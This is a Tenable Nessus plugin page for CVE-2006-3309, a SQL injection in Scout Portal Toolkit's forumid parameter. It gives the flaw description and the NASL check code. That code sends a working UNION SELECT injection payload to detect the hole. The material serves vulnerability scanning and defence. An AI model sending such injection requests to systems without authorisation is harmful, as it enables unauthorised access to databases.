Scout Portal Toolkit SPT--ForumTopics.php forumid Parameter SQL Injection

2006-06-28T00:00:00
ID SPT_FORUMID_SQL_INJECTION.NASL
Type nessus
Reporter This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.
Modified 2019-11-02T00:00:00

Description

The remote host is running Scout Portal Toolkit, an open source toolkit for organizing collections of online resources / knowledge.

The version of Scout Portal Toolkit installed on the remote host fails to sanitize user-supplied input to the

                                        
                                            #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(21764);
  script_version("1.23");

  script_cve_id("CVE-2006-3309");
  script_bugtraq_id(18688);
  script_xref(name:"EDB-ID", value:"1957");

  script_name(english:"Scout Portal Toolkit SPT--ForumTopics.php forumid Parameter SQL Injection");
  script_summary(english:"Checks for forumid parameter SQL injection in Scount Portal Toolkit");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is susceptible to a
SQL injection attack." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Scout Portal Toolkit, an open source
toolkit for organizing collections of online resources / knowledge. 

The version of Scout Portal Toolkit installed on the remote host fails
to sanitize user-supplied input to the 'forumid' parameter to the
'SPT--ForumTopics.php' script before using it in a database query. 
Regardless of PHP's 'magic_quotes_gpc' setting, an unauthenticated
attacker can exploit this flaw to manipulate database queries, which
may lead to disclosure of sensitive information, modification of data,
or attacks against the underlying database." );
 script_set_attribute(attribute:"see_also", value:"https://scout.wisc.edu/pipermail/spt-cwis-users/2006-June/001581.html" );
 script_set_attribute(attribute:"solution", value:
"Apply the security patch in the project's mailing list posting
referenced above." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/06/28");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/06/27");
 script_cvs_date("Date: 2018/11/15 20:50:19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:internet_scout_project:scout_portal_toolkit");
script_end_attributes();

 
  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");
 
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");


port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);

magic = unixtime();
exploit = string(" UNION SELECT null,null,null,", magic, ",4,5");


# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/spt", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  w = http_send_recv3(method:"GET", 
    item:string(
      dir, "/SPT--ForumTopics.php?",
      "forumid=-9", urlencode(str:exploit)
    ), 
    port:port
  );
  if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
  res = w[2];

  # There's a problem if we see our magic as a topic count.
  if (string("<!--<h3>Topics: ", magic) >< res) {
    security_hole(port);
    set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
    exit(0);
  }
}